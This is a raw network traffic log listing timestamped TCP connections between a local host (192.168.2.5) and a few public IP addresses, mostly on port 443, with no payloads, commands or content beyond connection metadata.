Oct 29, 2024 13:09:04.515760899 CET	60635	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:04.521291971 CET	80	60635	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:04.521375895 CET	60635	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:04.521572113 CET	60635	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:04.527040005 CET	80	60635	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:04.545154095 CET	443	60632	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.545769930 CET	60632	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.545804024 CET	443	60632	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.546266079 CET	60632	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.546272039 CET	443	60632	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.562665939 CET	443	60633	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.563056946 CET	60633	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.563081026 CET	443	60633	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.563216925 CET	443	60634	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.563467026 CET	60633	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.563472033 CET	443	60633	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.563661098 CET	60634	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.563668966 CET	443	60634	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.563982010 CET	60634	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.563986063 CET	443	60634	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.568301916 CET	443	60630	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.568499088 CET	443	60630	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.568546057 CET	443	60630	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.568559885 CET	60630	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.568592072 CET	60630	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.568793058 CET	60630	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.568809032 CET	443	60630	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.568818092 CET	60630	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.568824053 CET	443	60630	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.571559906 CET	60636	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.571595907 CET	443	60636	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.571702957 CET	60636	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.571882010 CET	60636	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.571897984 CET	443	60636	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.673727036 CET	443	60632	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.673995972 CET	443	60632	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.674257994 CET	60632	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.674292088 CET	60632	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.674310923 CET	443	60632	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.674320936 CET	60632	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.674325943 CET	443	60632	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.678436041 CET	60637	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.678468943 CET	443	60637	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.678556919 CET	60637	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.678942919 CET	60637	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.678956985 CET	443	60637	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.692665100 CET	443	60633	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.693176985 CET	443	60633	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.694962025 CET	443	60634	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.695061922 CET	60633	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.695087910 CET	60633	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.695087910 CET	60633	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.695101976 CET	443	60633	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.695110083 CET	443	60633	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.695225000 CET	443	60634	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.695282936 CET	443	60634	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.695336103 CET	60634	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.695360899 CET	60634	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.695370913 CET	443	60634	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.695380926 CET	60634	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.695385933 CET	443	60634	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.698049068 CET	60638	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.698075056 CET	443	60638	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.698103905 CET	60639	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.698113918 CET	443	60639	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.698189020 CET	60639	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.698190928 CET	60638	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.698311090 CET	60639	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.698322058 CET	443	60639	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.698338032 CET	60638	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.698352098 CET	443	60638	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.793051004 CET	443	60631	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.793585062 CET	60631	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.793612003 CET	443	60631	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.794059992 CET	60631	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.794068098 CET	443	60631	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.926702023 CET	443	60631	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.926767111 CET	443	60631	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.926990986 CET	60631	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.927046061 CET	60631	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.927046061 CET	60631	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.927081108 CET	443	60631	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.927105904 CET	443	60631	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.929827929 CET	60640	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.929867983 CET	443	60640	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.929940939 CET	60640	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.930073023 CET	60640	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.930088997 CET	443	60640	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.306624889 CET	443	60636	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.307192087 CET	60636	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.307214022 CET	443	60636	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.307678938 CET	60636	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.307688951 CET	443	60636	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.414659977 CET	443	60637	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.415514946 CET	60637	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.415546894 CET	443	60637	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.416012049 CET	60637	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.416017056 CET	443	60637	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.433233023 CET	443	60638	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.433948994 CET	60638	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.433979988 CET	443	60638	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.434309006 CET	60638	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.434314966 CET	443	60638	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.438961029 CET	443	60636	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.439027071 CET	443	60636	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.439245939 CET	60636	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.439305067 CET	60636	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.439328909 CET	443	60636	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.439369917 CET	60636	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.439377069 CET	443	60636	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.442351103 CET	443	60639	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.442786932 CET	60639	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.442785978 CET	60641	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.442795038 CET	443	60639	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.442833900 CET	443	60641	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.443133116 CET	60639	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.443136930 CET	443	60639	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.443170071 CET	60641	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.443275928 CET	60641	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.443289995 CET	443	60641	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.452581882 CET	80	60635	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:05.452652931 CET	60635	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:05.452691078 CET	80	60635	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:05.452732086 CET	60635	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:05.453104973 CET	60635	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:05.453128099 CET	60635	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:05.544821024 CET	443	60637	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.544893026 CET	443	60637	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.545013905 CET	60637	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.545214891 CET	60637	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.545228004 CET	443	60637	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.545238018 CET	60637	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.545243025 CET	443	60637	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.548089981 CET	60642	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.548146009 CET	443	60642	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.548331976 CET	60642	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.548510075 CET	60642	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.548532009 CET	443	60642	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.565011978 CET	443	60638	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.565049887 CET	443	60638	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.565135002 CET	443	60638	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.565182924 CET	60638	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.565229893 CET	60638	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.565557957 CET	60638	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.565582037 CET	443	60638	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.565597057 CET	60638	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.565604925 CET	443	60638	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.567986965 CET	60643	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.568026066 CET	443	60643	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.568098068 CET	60643	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.568356991 CET	60643	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.568376064 CET	443	60643	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.574057102 CET	443	60639	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.574147940 CET	443	60639	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.574208021 CET	60639	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.574331045 CET	60639	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.574337006 CET	443	60639	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.574346066 CET	60639	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.574350119 CET	443	60639	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.576239109 CET	60644	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.576267004 CET	443	60644	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.576339006 CET	60644	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.576453924 CET	60644	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.576469898 CET	443	60644	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.662858009 CET	443	60640	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.663371086 CET	60640	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.663387060 CET	443	60640	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.663882971 CET	60640	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.663888931 CET	443	60640	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.792170048 CET	443	60640	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.792188883 CET	443	60640	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.792242050 CET	443	60640	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.792257071 CET	60640	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.792289972 CET	60640	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.792550087 CET	60640	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.792571068 CET	443	60640	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.792583942 CET	60640	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.792592049 CET	443	60640	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.795602083 CET	60645	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.795650005 CET	443	60645	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:05.795737982 CET	60645	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.795916080 CET	60645	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:05.795929909 CET	443	60645	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.415081024 CET	443	60641	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.415693045 CET	60641	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.415719986 CET	443	60641	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.416174889 CET	60641	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.416182995 CET	443	60641	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.542526960 CET	443	60642	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.543021917 CET	60642	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.543046951 CET	443	60642	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.543497086 CET	60642	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.543503046 CET	443	60642	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.546355009 CET	443	60644	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.546670914 CET	60644	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.546677113 CET	443	60643	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.546688080 CET	443	60644	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.547040939 CET	60644	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.547049046 CET	443	60644	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.547240019 CET	60643	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.547269106 CET	443	60643	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.547530890 CET	443	60645	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.547570944 CET	60643	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.547580004 CET	443	60643	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.547756910 CET	60645	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.547816038 CET	443	60645	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.548077106 CET	60645	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.548091888 CET	443	60645	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.555963993 CET	443	60641	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.555980921 CET	443	60641	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.556030035 CET	443	60641	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.556030989 CET	60641	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.556073904 CET	60641	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.556305885 CET	60641	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.556333065 CET	443	60641	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.556349039 CET	60641	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.556355953 CET	443	60641	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.558888912 CET	60646	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.558923006 CET	443	60646	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.558983088 CET	60646	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.559092045 CET	60646	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.559099913 CET	443	60646	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.673280954 CET	443	60642	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.673296928 CET	443	60642	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.673363924 CET	60642	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.673386097 CET	443	60642	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.673449039 CET	443	60642	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.673598051 CET	60642	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.673731089 CET	60642	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.673752069 CET	443	60642	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.673820019 CET	60642	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.673826933 CET	443	60642	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.676697016 CET	60647	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.676760912 CET	443	60647	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.676832914 CET	60647	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.677059889 CET	60647	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.677093029 CET	443	60647	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.678435087 CET	443	60645	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.678651094 CET	443	60644	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.678674936 CET	443	60645	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.678793907 CET	60645	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.678862095 CET	60645	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.678862095 CET	60645	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.678886890 CET	443	60645	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.678910017 CET	443	60645	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.678966999 CET	443	60644	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.680016994 CET	60644	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.680124998 CET	60644	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.680139065 CET	443	60644	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.680155993 CET	60644	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.680161953 CET	443	60644	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.681927919 CET	60648	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.681977987 CET	443	60648	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.682121038 CET	60648	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.682197094 CET	60648	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.682215929 CET	443	60648	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.683372974 CET	60649	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.683403015 CET	443	60649	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:06.683556080 CET	60649	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.683979034 CET	60649	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:06.683991909 CET	443	60649	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.082952023 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:07.088395119 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:07.112288952 CET	443	60643	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.112310886 CET	443	60643	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.112413883 CET	60643	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.112441063 CET	443	60643	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.112957954 CET	60643	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.112977982 CET	443	60643	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.112988949 CET	60643	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.113179922 CET	443	60643	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.113245010 CET	443	60643	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.115736008 CET	60650	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.115765095 CET	60643	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.115787983 CET	443	60650	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.115875959 CET	60650	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.116066933 CET	60650	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.116082907 CET	443	60650	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.262295008 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:07.262409925 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:07.267209053 CET	60651	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:07.267240047 CET	443	60651	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:07.267306089 CET	60651	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:07.267575026 CET	60651	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:07.267585993 CET	443	60651	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:07.288661003 CET	443	60646	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.289236069 CET	60646	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.289256096 CET	443	60646	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.289730072 CET	60646	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.289735079 CET	443	60646	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.413424969 CET	443	60647	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.415184975 CET	443	60649	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.415899038 CET	60647	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.415955067 CET	443	60647	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.416376114 CET	60647	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.416392088 CET	443	60647	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.416673899 CET	60649	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.416691065 CET	443	60649	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.417093992 CET	60649	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.417109966 CET	443	60649	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.422344923 CET	443	60648	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.423118114 CET	443	60646	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.423168898 CET	443	60646	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.423491955 CET	60648	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.423513889 CET	60646	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.423516989 CET	443	60648	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.423562050 CET	60646	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.423579931 CET	443	60646	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.423592091 CET	60646	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.423604965 CET	443	60646	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.423894882 CET	60648	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.423902035 CET	443	60648	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.426450014 CET	60652	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.426476955 CET	443	60652	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.426580906 CET	60652	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.426970959 CET	60652	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.426983118 CET	443	60652	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.544790983 CET	443	60647	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.544881105 CET	443	60647	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.544960976 CET	60647	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.545170069 CET	60647	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.545170069 CET	60647	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.545203924 CET	443	60647	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.545228958 CET	443	60647	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.546375036 CET	443	60649	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.546411991 CET	443	60649	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.546458960 CET	60649	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.546468973 CET	443	60649	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.546684027 CET	443	60649	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.546730042 CET	60649	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.546746016 CET	60649	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.546756029 CET	443	60649	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.546765089 CET	60649	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.546768904 CET	443	60649	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.548398972 CET	60653	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.548429012 CET	443	60653	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.548492908 CET	60653	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.548688889 CET	60654	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.548703909 CET	443	60654	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.548860073 CET	60653	443	192.168.2.5	13.107.246.45
